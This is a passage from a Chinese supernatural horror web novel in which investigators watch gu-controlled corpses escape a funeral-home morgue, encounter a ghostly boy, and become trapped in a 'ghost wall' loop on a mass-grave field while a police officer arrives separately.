这些腐朽的死尸一看便是超脱人类认知的东西，它们已经不能是人类的，或许是一种野兽，或许带着一定的攻击性，或许跟影视作品里的丧尸、僵尸一样对活人有着一定的攻击欲望，但无论怎样，现在就盲目逃跑，只会给自己平白无故增加风险，与其如此，倒不如搏一搏！
这么想着，沈聆定了定心神。
她屏住了呼吸，不去吸那刺鼻的腐烂的味道。
幸运的是，那只死尸并没有发现近在咫尺的沈聆，就如沈聆猜测的一般，道长的咒语，或许在他们周围下了一个结节，让它们不会被死尸发现。死尸只是在旁边“怀疑”地嗅了嗅后，便与她擦肩而过了。
“嘶……”
当这个死尸爬到吴妄和宋明夷身边的时候，这二人也学着沈聆的样子，站在原地一动不动。
与之前一样，这只死尸在他们脚下嗅了嗅味道，可像是没有找到自己想要的东西一样，它开始略感躁动地发出几声低吼，随后，拖着满身的尸水擦过了吴妄的裤腿，绕过了房间中间的解剖台，朝着玻璃窗而去。
45. 小男孩
和第一只死尸一样，其他的死尸们也是差不多的行动模式，它们就像是被设定好的程序，所有的行为动作都只能重复最简单的指令。
这些死尸接二连三地爬过站在原地、一动不动的三个人，它们像是没有意识到这个房间里有其他活着的生物的存在，它们长了眼睛，但是却看不见东西，它们已经没有了心跳声，却继续游走于世间。
出于求生的本能，房间里的人都尽量屏住呼吸，一直到需要换气的时候，才会慢悠悠地吐出一口气来、再轻轻吸一口气。
他们原以为今天晚上是来调查尸变的。
没想到，正巧迎头撞上了更多的尸变！
沈聆暗戳戳想着，不由得感到背脊发凉。
还好今天晚上遇到了吴妄，还好吴妄愿意和她们同行，否则若是今晚只有她和宋明夷在场的话，是否能活下去还是两说。
“嘶……”
走在第一个的死尸在绕过了宋明夷和吴妄后，来到了窗边。
它先是双手趴在窗框上，直立起自己的上半身，双手轻轻推了一下窗户，但是却没能推开——玻璃窗被内部的插栓插上了，必须打开窗框的插栓，才能从内推开玻璃窗。
但死尸明显已经不具有人类的意识和思考能力，它推了几下窗户后，慢慢收回了放在窗框的手，随后，用脑袋狠狠撞了一下玻璃窗。
“咚咚咚咚。”
这声音有点儿沉重，听起来就像是重物砸落在冰面上的声音，三人皆一惊，他们不敢回头，只能用眼角余光看向窗户的方向，此时，只能看到一个赤裸的背影正趴在窗户前，用脑袋一个劲地砸玻璃。
“咚咚咚。”
这声音像是吸引了其他死尸的注意力一样，其他死尸也紧随其后、一个接一个地爬到了窗户的位置，可它们推不开插上了的窗户，于是开始效仿第一只死尸的做法，开始用脑袋来敲击玻璃窗。
“咚咚咚。”
周围的环境变得更加恐怖，黑暗中，那些死尸的身影如同恶魔的化身，他们的动作机械而恐怖。
“咚咚咚。”
这些死尸像是没有智商一样，只知道用头颅撞击玻璃。
这些声音在黑暗中听起来十分可怕，就像是有许多人在下跪磕头一样。
人的颅骨本身是很坚固的，但是死人的头颅则不然，它们感觉不到疼痛，头颅也失去了头皮的保护，它们一下、一下，像个榔头一样砸在玻璃窗上，一直到头破血流都没有丝毫减轻力度的意思，它们的眼睛一片漆黑，身体就像是被操控的傀儡一样，它们只知道要去窗户那边，只知道要从窗户出去。
死尸们都堆在了窗户旁边，后面的死尸拥挤着前面的死尸，小小的窗框被挤得满满当当的，房间里都是尸体散发出来的恶臭味，跪在第一排的死尸用脑袋一下下撞击着玻璃窗，一直到玻璃窗也开始出现细碎的裂痕，发出轻微的裂开的声音。
“咔嚓。”
那条裂痕越来越大，在死尸们的“努力”下，窗框被打破了一小块。
在有了这个小缺口之后，第一个死尸率先直起身体，它双手按着玻璃窗缺口的锋利的玻璃，直接将脑袋探了出去，随后，如同蠕动的蠕虫一样，开始一点点从缺口往外钻出去。
玻璃的碎口十分锋利，那些玻璃碎片插入了它的皮肉，甚至刮开了它本就腐烂的皮肤，在白骨上留下一道道刮痕，但死尸完全不在意这些，它闷着头一点点往外钻，越是往外，这玻璃窗的缺口就越大，裂开的缝隙也就越多，配合着其他死尸的“头槌攻击”，这扇玻璃窗，终于完全破了！
“呛……”
一声玻璃碎裂的声音后，玻璃碎片掉落在殡仪馆一楼外的杂草丛里。
死尸们争先恐后地从停尸间的窗户爬了出去，它们拥挤着，一个踩着一个，一个抓着一个，它们没有任何“先来后到”的想法，看到玻璃窗破碎的那一刻，支配它们的似乎只有一种往外爬去的本能。
它们要去外面！
像是有什么东西在召唤着它们去外面！
死尸们接二连三地爬出了窗户，那声音似乎伴随着尸体的臭味也在逐渐远去。
见状，在场三人都松了一口，至少，他们的小命看来是暂时保住了。
“……”
沈聆自始至终站在原地，一动不敢动，在听见死尸们离开的同时，她慢慢闭上了眼睛，耳朵轻轻动了动，她那异于常人的听觉瞬间被放大了许多倍。
当只剩下听觉这一个感知的时候，她听到了许多自己未曾留意的声音——
这一刻，尸体掉落在窗外杂草丛里的声音，听到了尸体挤压在一起后骨骼变形的声音，听到了那些死尸张大了嘴巴但只能发出呼啸声的声音……
最后。
她再一次听见了笑声。
“嘻嘻……”
这一次，这笑声很近，但却很熟悉！
这已经不是她第一次听见这个声音了！
和前几次一样，这个声音是个男孩子的声音，声音很轻，但是却像玻璃弹珠落在午夜的地板一样，在沈聆听起来清晰可闻。
——在哪里？
“嘻嘻……”
——在哪里？
“嘻嘻……”
那个声音像是在跑动，像是一个调皮的孩子，在跟沈聆玩捉迷藏一样，而且更让人感到不安的是，沈聆发现那个声音似乎正在逼近自己！
“嘻嘻……”
——在我后面！
沈聆瞬间睁开眼睛，她微微回过头，忽然看见自己身后凭空站着一个小男孩！
——这小男孩看起来大概十岁左右的年纪，梳着中分的正太头，身上的白衬衫和背带裤破破烂烂的、上面满是已经凝固的血污，那血污在黑暗中显得格外刺眼，仿佛是死亡的印记，小男孩此刻就站在沈聆身后，他歪着脑袋，前胸上，一个拳头大的洞贯穿了胸腔，依稀可以看到胸腔内的肋骨以及受损的脏器。
那伤口触目惊心，让人不忍直视。
小男孩却咧嘴
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笑起来：“嘻嘻……大姐姐，你找到我了。”
这一笑，那血红色的嘴角一直裂到了耳朵，露出里面尖锐的獠牙，同时一股浓烈的血腥气扑面而来。
沈聆发现，他和那些死尸一样，眼睛全都是黑色的，没有眼白，也没有瞳孔。
小男孩伸出手抓向沈聆，但沈聆下意识地后退了一下，地上本就是湿滑黏腻的尸水，她踩在尸水上，一个重心不稳，摔了下去，也正是因为这一摔，小男孩长满锋利指甲的手指划过她的脸颊、擦过她的头发，抓了个空！
“砰……”
沈聆仰头摔倒在地上，她的后脑勺砸在了冰冷的地面上，后背也摔得疼痛，本就脑震荡刚刚恢复的脑袋，这么一磕，直接摔得眼冒金星。
“疼……”
“你没事吧？”宋明夷见死尸们已经走了，忙上前想要扶起沈聆，但地上的尸水太多了，她也差点儿滑到，“诶诶诶——”
吴妄忙抓了一把宋明夷外套的帽子，才没让她也摔在臭烘烘的尸水上。
“多谢多谢。”宋明夷站定了身体，忙连连道谢，但她衣襟上的微型摄像机就没那么幸运了，因为宋明夷身体歪斜了一下，原先固定在衣襟上的微型摄像机直接掉在了地上，又被宋明夷踩了一脚，直接踩坏了。
宋明夷忙蹲下身摸索了一把，在恶臭的尸水滩子里，只摸到被踩得变形了的微型摄像机。
“啊……”
——我的摄像机啊……
——花了大几百块钱买的……
宋明夷感觉自己心里在滴血。
“小心点，这里都是尸水。”沈聆叮嘱着宋明夷，但当她抬起头的时候，已经看不到刚才出现在自己眼前的小男孩了，她心下疑惑，“奇怪，刚才……刚才那个小男孩去哪里了？”
“哈？什么小男孩？你出现错觉了吧？”宋明夷瞪了一眼沈聆，心里暗暗责怪沈聆，如果不是沈聆摔倒，自己也不会摔掉了微型摄像机。
“但是，我刚才真的看到一个穿着背带裤的小男孩在我后面……”沈聆心事重重地站起身，“而且，我很确定刚才我听到的笑声就是那个小男孩发出的……可是他好像不是个活人，我看到他的身体被贯穿了一个很大的洞，他应该已经……死了。”
沈聆感觉到自己脸颊有点儿疼痛，她下意识地伸出手触碰了一下自己的脸颊，但没想到手上沾到的尸水也在这个碰到了脸颊上被划开的伤口，一阵如同被硫酸腐蚀的疼痛瞬间席卷了全身，她疼的蜷缩起身子，忙擦去脸上的尸水。
——这些死尸身上的尸水，是有腐蚀性的……
就在这时，宋明夷注意到，吴妄的视线一直停留在被死尸们撞破的窗户。
“道长，怎么了？”
“……我在想，要不我们跟过去看看？”
“什么？！”宋明夷惊呼出声，“你说什么？”
吴妄抬起手，指了指户外的乱葬岗：“我的意思是……来都来了，你们不好奇那些死人到底要去哪里吗？”
46. 蛊虫
“我觉得，我们应该去看看。”沈聆附和。
“什么？我没听错吧？你们刚才没看到那些东西是什么样的吗？”宋明夷抗议，“他们数量这么多，而且看起来不人不鬼的样子，万一会吃人怎么办？我才不去！”
宋明夷摇了摇头，像是一只生闷气的小狗一样，往后退了几步，打定主意不过去。
她这么说，也是有她的道理。
毕竟微型摄像机已经坏掉了，在那极端环境下她也不敢轻易打开手机拍摄，这如果跟上去，就是纯纯亏本的买卖，不但拍不到可以作为短视频平台的流量素材，更可能搭上小命一条，她才不去！
“我感觉事情没有这么简单。”吴妄沉着声音说道，“刚才那些死尸应该是中了某种蛊，随后才有行动的能力，从刚才的表现来看，这些死尸的行动模式很单一，并且目的性都是一致的——离开停尸间，去殡仪馆外的某个地方，我想，这或许是传说中的‘牵丝蛊’。”
“牵丝蛊？”沈聆和宋明夷同时看向了吴妄。
“对，这种蛊我也只是在本门派的藏书阁里看到过，曾经在云南一带的古国盛行，能够随意操控尸体，他们会以某种方式给尸体下蛊，随后，可以如牵丝一样控制死尸的行动，被控制的死尸，双目漆黑，无思考能力，可根据下蛊人的指令行动。”吴妄说着，踩过地上的尸水，走到了窗户旁边。
他微微低下头，发现玻璃窗的破损处粘连着许多人体组织，是那些死尸跳窗离开的时候，被玻璃碎屑勾破后留下的。
“那么……秦琴会不会也是被这种蛊控制了？”宋明夷眨了眨眼睛。
“不知道，但是……我感觉秦琴的行动模式好像和刚才那些死尸的行动模式不太一样。”沈聆抬起头下意识地看了一眼固定在墙角的监控摄像头，“你还记得吗？林警官曾经说过，秦琴的尸体是‘走’到窗户旁边的，并且还回头看着监控笑了一下，最后跳窗而出……但我们刚才看到的死尸，是完全没有微笑能力，甚至是能用四肢爬行，我感觉，至少控制秦琴尸体的东西和今晚控制这些死尸的东西，不是一个等级的。”
“是非曲折，我们去看看不就知道了。”吴妄说着，已经一个鹞子翻身，从窗户翻了出去。
沈聆思考了一下，她觉得吴妄的做法是对的，至少，能够查出是谁下了蛊虫，哪怕和控制秦琴尸体的人不是同一个人，但至少有一个调查的方向。
这么想着，沈聆也走到了窗边，双手支撑着身体，就要翻出窗户外。
“沈、沈聆！你也要去吗？”
在她身后，宋明夷还在犹豫。
毕竟，贪生怕死是人的本能，人总是会趋利避害的，现在跟出去，风险大于收益，她自然也要开始犹豫，她只是一个小护士，不像吴妄一样有画符驱鬼的本事，也不像沈聆一样有通灵的技巧，她只是一个再平凡不过的人，她能做的事情有限，如果面临真的不可控的危险，那么她能否承受这么大的伤害呢？
沈聆转头看了一眼宋明夷，只见她楚楚可怜地站在停尸间里，身上满是被喷溅的尸水，她精致的妆容也因为冷汗退了不少，头发也散落了好几根，看起来像是逃难的富家千金。
“……如果你害怕的话，就留在这里吧。”
“可以吗？”宋明夷眼中一亮。
“可以的。”细心的沈聆看出了沈聆的犹豫，也看出了宋明夷也认为自己这个举动似乎有抛下同伴的不讲义气的嫌疑，于是，沈聆补充说道，“对了，明夷，可以麻烦你帮我们找一下殡仪馆的管理员吗？今天晚上停尸间发生了不小的骚动，我们总得派人去通知一下殡仪馆的管理处。”
“好的！我马上就去！”宋明夷松了一口气，沈聆的说法给了她一个台阶下，也让她有了发挥自己作用的空间。
“嗯，那你多注意安全一点。”沈聆说着，就要追出窗外，忽然，她像是想起了什么，从口袋里拿出了一个小巧的白色瓷瓶，“对了，明夷，这个给你。”
宋明夷走近了，发现那个小瓷瓶并不大，看起来像是电视剧里放着金丹灵药的小药瓶，凑近了似乎还能嗅到隐隐约约的血腥味。
“这个是……”
“这个是我外婆给我的黑狗血，你带着，以防万一。”
“但是……你给了我，你不就没有了吗？”
“我比较没关系，好歹吴妄也在，他也是有两把刷子的。”沈聆说着，环视了一圈周围，静谧漆黑的停尸间，像是有无数双眼睛藏在黑暗中暗中窥探，“而且……我感觉这间殡仪馆有点不太对劲，至少，我刚才看到的小男孩绝非等闲之辈，你要单独行动，还是带着黑狗血吧，还有，你要记得，如果你看到有一个短头发、穿背带裤的小男孩，一定要远离他，他很危险。”
宋明夷听着沈聆的嘱咐，默默将她所有的叮嘱都记在心里。
此刻，沈聆就像是一个老母亲一样，不放心独自行动的宋明夷，总是要多交代几句。
“好，你放心吧。”
沈聆将这瓶黑狗血给了宋明夷后，转身跳出了窗户，停尸间里只剩下宋明夷一个人待着。
这片黑暗像是会吞噬一切动静一样，在周围的微弱动静都弱下去之后，便将所有的声音都吞噬殆尽。
宋明夷不由得打了个冷颤，忙转身朝着停尸间的门口而去。
……
且说回这一头。
当沈聆翻出窗户外，发现吴妄并没有走远，而是在几步之外的地方，蹲下身检查地上的杂草。
“怎么了？”沈聆轻声询问。
吴妄缓缓地抬起手来，沈聆见状立刻会意，迅速拿出自己的手机，并点击屏幕开启了手机的照明功能。
随着光线的亮起，吴妄将自己的手掌凑到灯光下，沈聆得以清晰地看见，吴妄那摊开的手掌心中，有一滩暗红色的血液，而在这血之中，隐约可见一条米虫大小的虫子正在微微蠕动。
这滩血并不是吴妄的，血液呈现出暗红色，并且已经呈现出凝固的状态，看起来应该是刚才的死尸留下的血。<
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那条小虫子躺在血泊中，小虫子身形细长，长度不足一厘米，首尾难以分辨，它在吴妄掌心的血泊中缓缓蠕动着，仿佛正在寻觅新的寄主，正当它试图钻入吴妄的手掌时，吴妄却突然紧紧握住了拳头，瞬间将这条小虫子捏死在了手心。
“这就是蛊虫。”吴妄甩了甩手，看向了左侧。
沈聆顺着他的视线看去，发现殡仪馆外的杂草被压出了一道低矮的痕迹，杂草丛上满是血手印、血水以及尸水，看起来应该是刚才的死尸们刚刚从这里爬过去。
“如果是蛊虫的话，那就是人为了……”沈聆喃喃自语，“那……那个人为什么要这些死尸？为什么又要操控秦琴的尸体？”
“去看看不就知道了。”
吴妄一边说着话，一边抬起脚沿着被压倒的杂草堆缓缓走去。
沈聆则紧紧地跟在他身后，心中涌起一股莫名的紧张感。
“沙拉……”
此时，四周的夜风阵阵吹来，带着丝丝寒意，让人不禁打了个寒颤，殡仪馆外一片漆黑，仿佛被无尽的黑暗吞噬着，地上杂草丛生，石头和泥块杂乱无章地堆积在一起，显然这里平日里并没有人打理。
那片黑暗一眼望不到边，这片乱葬岗宛如一个没有尽头的深渊，寂静无声，让人毛骨悚然，这片乱葬岗甚至连虫鸣声和鸟鸣声也消失不见，整个世界仿佛陷入了沉睡一般，这种异常的安静让人心惊胆战，似乎隐藏着某种未知的危险。
沈聆小心翼翼地跟随着吴妄的脚步，生怕一不小心就会陷入危险之中，他们的脚步声在这片死寂的环境中显得格外清晰，沈聆的每一步都充满了不安与警惕。
也不知道走了多久，她跟着吴妄，沿着被压倒的杂草堆，一直来到了乱葬岗的东南角。
黑暗，似乎会拉长人对时间的感知，她感觉走了好久，但是却又心里暗自奇怪这乱葬岗有这么大吗？
一直到走了许久之后，沈聆感觉到脚下踩的杂草变少了，剩下相对干燥的土堆，沈聆深吸了一口气，微微转过头，发现殡仪馆的灯光在黑暗中已经变得微弱了起来。
就在这时，走在前面的吴妄忽然停下了脚步。
沈聆猝不及防，直接撞到了他的后背。
“……我们走了多久？”
吴妄回过头，他的脸庞在夜色中有点儿模糊不清，但从那声音的语气来说，似乎情况不是很好。
“我不太清楚。”沈聆低下头拿出手机，发现手机的时间目前是22：44。
她一惊。
——现在已经快十一点了吗？
——但是我记得我们来殡仪馆的时候，好像才是八九点左右……
沈聆心下一沉：“我不知道，刚才没有看我们出发的时间，但是，我感觉我们好像走了很久了。”
“嗯……我也感觉走了很久。”
吴妄转过身，看着一片漆黑的周围。
沈聆颤抖着声音问道：“道长，我们……是不是遇到鬼打墙了？”
47. 迷路的小男孩
在林凌匆忙结束了值班后，时间已经接近十点了。
他低头看了一眼手机，看到了沈聆给他发的短信——她们计划提前去探访殡仪馆，了解看看秦琴尸变的诡异事件。
虽然说，林凌并不相信这个世界上有鬼神，但最近发生了一系列相对诡异的事情，也开始动摇他的观念，毕竟人的认知对这个世界来说，还只是沧海一粟，世间万物而言，人类还是太过渺小了，或许真的有一些人类无法感知到的存在，在默默左右着每个人的命运，也未可知。
“咔哒。”
在关上办公室的灯后，林凌低头看了一眼手表，右手揽着黑色的外套，匆匆下了楼梯，准备前往殡仪馆。
“哒哒哒……哒哒哒……”
林凌的脚步声回荡在楼梯间里显得十分清晰，这个点，大部分人都已经下班了，但加班对他而言已经成了生活的一部分，似乎无论是哪个职业，年轻人总要多干活，已经成了刻板印象。
在林凌看来，秦琴尸变的事情十分诡异，就两个女孩子去调查，实在太过危险了，他不太放心，还是决定自己前往现场了解情况。
在林凌下楼的时候，恰好与队长李辉擦肩而过。
“林凌，人口拐卖案件的档案你都整理好了吗？拐卖名单都整理出来了吗？”李辉叫住了林凌。
林凌听到声音后脚步一顿，他转过身寻声看去，看到一个四十岁左右的中年男子站在楼梯口——这个男人身材高大而精炼，穿着一套整齐的警察制服，展现出一种类似军人般的威严和力量感，他的面庞略显沧桑，岁月的痕迹悄然爬上了他的额头和眼角，但这并没有减弱他的气势，反而增添了一份成熟与稳重。
“队长！”林凌下意识地站直了身体。
“看你这么匆忙的样子，你是要去哪里吗？”李辉队长的眼神深邃而锐利，犹如鹰隼一般，仿佛能够洞悉一切，他那微微下压的眼角给他的面容带来一丝冷酷和坚毅，让人不禁心生敬畏之情，黝黑的肤色透露出他长期户外活动的痕迹，更显得坚韧有力。
“对，我打算去一趟城西殡仪馆。”
“殡仪馆？怎么？家里人出事了吗？”
“这倒不是。”林凌挠了挠头，“只不过，前几天殡仪馆上报了一个很诡异的事件——人口拐卖案里跳楼自杀的产妇，秦琴，她的尸体本来好好地放在殡仪馆，但忽然有天晚上尸体从停尸房里自己跑了，甚至监控摄像头都拍到了尸体自己行动的画面，这个事情我感觉有蹊跷，可能要去调查一下。”
“胡闹，这个世界哪有这么多邪门的事情。我们警察的精力有限，时间不是让你去调查那些鬼神之事的，这件事情如果传出去，外面的人要怎么看我们陵川市警察局？”李队严肃地看着林凌，整个人散发出一种不容置疑的威严，令人不敢轻易挑战他的权威。
“但是……这个事情的确很奇怪，我也看过了殡仪馆的监控画面，在监控画面里面，秦琴自己的尸体走到窗户前、从窗户翻出去了，而且监控画面里没有第二个人在控制尸体，这一切就像是尸体死而复生了一样。”
“胡说，人死了就是死了，哪有什么‘死而复生’，我看你是太累了……你说的那件事情，我看是殡仪馆的人不小心把尸体弄丢了，他们怕承担责任，索性就胡编了一个借口糊弄你，你看到的什么监控画面，我估计是他们弄了个AI视频遮掩，你就信以为真了。”
林灵见李队的态度十分严肃，他也不好直接忤逆上级，只能低着头连连附和。
“……是。”
“行了，我刚才问你的那些档案都整理好了吗？”
“整理好了，已经移交给档案处了，他们明天上班的时候就可以归档，另外痕迹鉴定科还有三份报告还没有完成，我明天再催一下。”
“行，你明天记得跟一下那个‘赵姨’的通缉令，赶紧把她的身份信息协查给其他地市，不要耽误了正经事。”
“是。”
李队又交代了几句后，转身回去了自己的办公室。
他是第一支队的队长，在陵川市公安局里相当于是一个分管领导的位置，他已经快五十岁了，当了快三十年的警察，他经验丰富，说话做事自然有自己的分寸和节奏，林凌只不过是一个小警员，他要做的，其实就是在领导的指示下按部就班完成自己的工作就行。
只不过。
年轻人毕竟年轻气盛，总是有自己的想法。
虽然嘴上应和着李恢，但林凌一转头，还是开着车往城西殡仪馆去了。
在等红灯的时候，他尝试着拨打了一下沈聆的电话，但电话那头一直无人接听，这让他有点儿担心，是不是殡仪馆里发生了什么事情，毕竟殡仪馆这种地方，还是很邪门的。
这么想着，他提高了车速，朝着殡仪馆就行驶过去。
还好，入夜后的城西郊区，街道上并没有什么人，他比平常更快的速度便来到了殡仪馆。
林凌来到殡仪馆门前，将车缓缓停靠在路边那昏暗灯光笼罩下的停车位里。
四周寂静无声，只有偶尔吹过的微风，轻轻拂动着路边干枯的树叶。
“格拉……”
一打开车门，一股刺骨的萧瑟之意便如汹涌的潮水般扑面而来，那风，宛如深秋寒夜中利刃般的寒风，带着无尽的凉意，仿佛能穿透人的骨髓。
林凌刚一接触到这风，便不由得浑身一颤，下意识地拉了拉衣服的领口，试图阻挡这深入骨髓的寒冷。
“见鬼了，今天晚上的气温降了这么多吗？”
林凌紧皱着眉头，身体微微颤抖着。
他缓缓转头看向了不远处殡仪馆的位置——殡仪馆是一栋双层楼建筑，在如墨般漆黑的天空下，显得更加冷清孤寂，周围弥漫着一层薄薄的雾气，使得那栋建筑仿佛笼罩在一层神秘的面纱之中。
这殡仪馆就像是一座巨大
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的墓碑，沉默地矗立在那里，送走了一个又一个的生命，岁月流转，它却始终如一地坚守着，见证着世事的变迁，却又似乎对这一切无动于衷，那灰色的墙壁在夜色中散发着冰冷的气息，紧闭的大门仿佛是一道通往另一个世界的关卡，让人望而生畏。
“沙拉……”
殡仪馆周围的树木在寒风中瑟瑟发抖，枯黄的树叶纷纷飘落，如同逝去的生命般无奈地回归大地。
林凌又尝试着拨打了一下沈聆的电话，但对方依旧没有接电话，也没有回复任何信息，这让林凌感到有点儿不安。
他三步并作两步地跑上了台阶，在来到殡仪馆大门口的时候，发现殡仪馆的门半掩着，微微开着一条门缝，从门缝从内看，可以看到殡仪馆一楼大厅昏暗的灯。
——门没关吗？
林凌心下生疑，但出于礼貌，还是敲了敲门。
“您好，我是陵川市公安局的，我叫林凌，前几天我来过殡仪馆，今天来……”
还没有等他说完，眼前的这扇门忽然被打开了！
“吱呀......”
伴随着一阵刺耳的摩擦声，这扇老旧的门缓缓开启，仿佛承载着岁月的重量。
没想到门会突然被拉开，在林凌惊讶的注视下，一个小小的身影悄然出现在门后——那是一个矮小的、看起来似乎只有十岁左右的小男孩，男孩的发型宛如日本动漫中的正太形象，整齐而乖巧，一双眼睛深邃如黑宝石，脸上长着点点雀斑，他身着一件洁白的衬衫和一条蓝色的背带裤，整个人散发着一种天真无邪的气息。
男孩双手紧紧扶着门框，小心翼翼地探出半个脑袋，眼神充满好奇与羞涩，直勾勾地盯着站在门口的林凌。
他那双明亮的大眼睛眨动着，似乎在努力思考眼前这位陌生人究竟是谁。
“你……你是谁家的孩子？”
“我……我和我爸妈走丢了，我找不到他们……”
小男孩的声音很细，听起来就像是随时可能断了的游丝，他的脸色很苍白，像是不怎么晒太阳一样的苍白，又像是贫血一样没有血色，在那背带裤下的两条小腿也很瘦，浑身似乎就只剩下一把骨头了。
大晚上在殡仪馆遇见了一个小男孩，林凌略感意外，但他还是蹲下身，耐心地询问：“小朋友，你是在殡仪馆里和爸妈走丢的吗？”
“对，我和我爸妈一起来的，不过我刚才上了个厕所，上完厕所之后，我就不记得路了……”小男孩可怜兮兮地说，“你能带我去找找我爸妈吗？警察叔叔。”
“可以的，没事，我带你去吧。”
出于警察的责任感，林凌走进了殡仪馆里，那小男孩顺势牵着林凌的手，拉着他朝着殡仪馆更深处走去。
“小朋友，你爸妈在一楼还是二楼？”
“我不记得了……不过好像在二楼吧。”
“行，你别害怕，我这就带你去找他们。”
48. 鬼打墙
“我们好像遇到了鬼打墙。”
在吴妄说完这句话的时候，沈聆感觉到背后一凉，一股寒意直冲脊梁，她默默咽了口唾沫。
“似乎……是这样的。”
“我记得……殡仪馆后面的空地没有这么大吧。”吴妄的声音还是沉稳冷静着，但此刻就连他也暂时分不清楚周围的东南西北。
此刻，他们置身于无尽的黑暗之中，仿佛被浓稠的墨汁包裹。
当沈聆和吴妄从殡仪馆一楼那阴森的停尸间窗户翻出后，映入眼帘的便是后侧那片荒芜之地。
在这片荒地之上，杂草肆意疯长，高高低低，错落有致，地形起伏不定，犹如沉睡巨兽的脊背，周围环绕着低矮的灌木丛，它们像是一群沉默的卫士，守护着这片被遗忘的角落。
枯瘦的树干突兀地挺立在这片荒地上，一根根细长的树枝如同瘦骨嶙峋的手指，指向幽暗的天空，当鞋子轻轻踩在那枯黄的草堆上时，便发出细微而清晰的“沙沙”摩擦声，仿佛是大地在低语。
风声凛冽，如咆哮的野兽般从树林之中呼啸而过。
当风擦过那些干枯的树干和稀疏的枝叶时，发出的声音犹如将死之人的叹息，沉重而又绵长。每一下风声，都如同重锤一般，狠狠落在沈聆的心上。
那声音，仿佛是来自地狱的召唤，让人不寒而栗。
——这里不太对劲。
——这里好像有别的“东西”存在。
她本能地感觉到不安——这种不安并非仅仅源于对这个阴森环境的恐惧，而是作为一个哺乳动物在感知到危险之前的本能反应。
沈聆的第六感让她感觉到周围的树丛里似乎藏着无数双眼睛，正紧紧地注视着他们的一举一动，那目光如芒在背，让她浑身不自在，可是，当她鼓起勇气，仔细留心观察的时候，却没有发现任何窥探者的踪迹。
然而，这种未知更加深了她内心的恐惧。
“沙……”
身边的树丛里，时不时传来一阵轻微的响动，总像是有什么东西踮着脚尖悄悄跑过一样。
沈聆的听觉向来很灵敏，可此刻，这样灵敏的听觉却放大了她对未知情况的不安，那若有若无的声音，仿佛是潜伏在黑暗中的恶魔在低语，每一个细微的动静都让她的心跳瞬间加速
或许，乱葬岗就是这样的。
这里充满了死亡的气息，每一寸土地都似乎在诉说着曾经的悲伤与恐惧，黑暗中，仿佛有无数的灵魂在游荡，等待着被救赎，而他们，就像是误闯禁地的闯入者，随时都可能面临未知的危险。
吴妄看出了沈聆的不安：“我们在走走看，或许是我们多心了。”
“嗯，我做个记号。”沈聆说着，从自己背包里拿出一条手帕，将这条浅色的手帕系在了路边的树干上。
“那个聒噪的姑娘呢？”
“明夷吗？她不是很想过来，我就让她帮忙去殡仪馆管理处报告一下这件事情。”沈聆背对着吴妄，将手帕系在了树干上，还打了个蝴蝶结，“毕竟一下子这么多个尸体不见了，这可不是什么小事情。”
“她是怕死吧。”
“怎么，还不允许人有求生之心吗。”沈聆系好了手帕，拍了拍手上沾染的灰尘。
“那我们继续往前走走，那些死尸的移动速度并不快，我想它们应该走不了多远。”
“好。”
两人说着，继续沿着死尸们爬行的痕迹追去。
“……道长，你觉不觉得这个乱葬岗好像有点奇怪。”
“是有点。按道理来说，这里的面积没那么大，但是我们好像走了很久，而且，虽然说是乱葬岗，却没有看到什么尸体或者衣服的碎片，这不太对。”
“会不会是七八十年代的乱葬岗？现在已经推崇火化，所以就没有人再继续抛尸在这里了。”
“那我请问，你有看到白骨吗？”
“这……”
“人被埋在地下之后，首先皮肉会开始腐烂，随后头发也会开始腐烂，能保存的，就是一副骨头，可这里，连那些骨头也没有看到，虽然说是乱葬岗，但尸体都去哪里了？”
“这……”
沈聆也陷入了沉默，她看着吴妄走在前面的背影，一时间对吴妄的话也回答不上来。
“不然我查一下吧……”
沈聆说着，掏出了手机，但是当她解锁了手机屏幕之后却发现，在这片荒地里，是没有信号的。
“奇怪？”
她举起手机，像是想要连接一下卫星的信号，但是奇怪的是，手机一直都显示没有信号。
沈聆复又打开了手机上的指南针软件，可原先十分灵敏的指南针，在这个乱葬岗里，却像是无头苍蝇一样在手机里的罗盘上转了好几圈，指向性的针头一直在调转方向，就是无法确定哪里是南方，哪里是北方。
“这里的磁场好像有点问题。”沈聆喃喃自语，“我在电视上看过，有些地方的磁场比较特殊，进入这个地方的指南针都会失灵，而动物进入这样的区域里面，也会因为磁场的不稳定而丧失方向感……”
“包括死尸？”
“这……”
“要知道，我们从一开始就是沿着死尸爬过去的路走的。”吴妄微微回过头看向了沈聆，“你说的那些感应，应该只有活着的东西才有吧。”
吴妄话音刚落，沈聆忽然看到在他们前面几步之外的地方，似乎有一个白色的东西在飘动。
“那是……”
她睁大了眼睛，往前跑了几步却发现，在飘动的东西，恰好就是刚才自己系在树干上的手帕！
吴妄也发现了那在枝头飘动的手帕，就像是新娘头纱在随风飘动，又像是诡异的鬼影在路边招手，两人看到这个手帕，皆是心下一沉。
吴妄是对的。
他们鬼打墙了。
绕着同样的路线走了好几圈，而不自知。
“这是你刚才的手帕？”
“……对。”
二人走到树干下，沈聆打开了手机的照明，照亮了那小小的手帕，不会错的，上面的图案是沈聆最熟悉的小碎花，手帕
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围绕着树干打了个蝴蝶结，这也是刚才沈聆亲手系上的，不会有错。
沈聆有些丧气地看向吴妄：“道长，我们该怎么离开？”
“在走走看，这一次，我们注意观察一下周围，说不定有什么被我们忽略的细节。”
吴妄说着，迈开腿在前面带路，沈聆小跑着跟上了他的脚步。
这一次，他们走的相对比较慢一点，而且沈聆注意到，吴妄一直低着头，似乎在寻找着什么东西。
他时不时踢开路边的石头，看看石头下的泥土，时不时拨开低矮的小树丛，找寻小树丛里是否有可疑。
一阵夜风吹过，沈聆感觉到寒意刺骨，她浑身都起了鸡皮疙瘩。
“道长在找什么？我可以帮你一起找。”
“我在找阵眼。”
“阵眼？”
“嗯，鬼打墙一般就是一个迷阵，而只要是阵，就一定会有阵眼，只要找到了阵眼，就能找到破阵的方式。”
“道长不是有很多张符咒吗？有没有什么‘破鬼打墙符’？”
闻言，吴妄白了沈聆一眼：“你做梦呢，你以为什么符咒都有吗？”
“你不是还有什么青龙白虎、朱雀玄武之类的东西？能不能拜托它们把我们弄出去？”
沈聆是见识过吴妄的本领的，她多多少少知道一点吴妄的神通广大，也正是如此，虽然现在遇到了“鬼打墙”，但她并不十分慌张。
“那是四相，而且，不是你想支配就能支配的，使用它们是需要消耗法力的……而且，我们现在落入别人的迷阵中，用四相也不一定能离开。”吴妄扒拉着眼前的树丛，漫不经心地回答道。
“啊？”
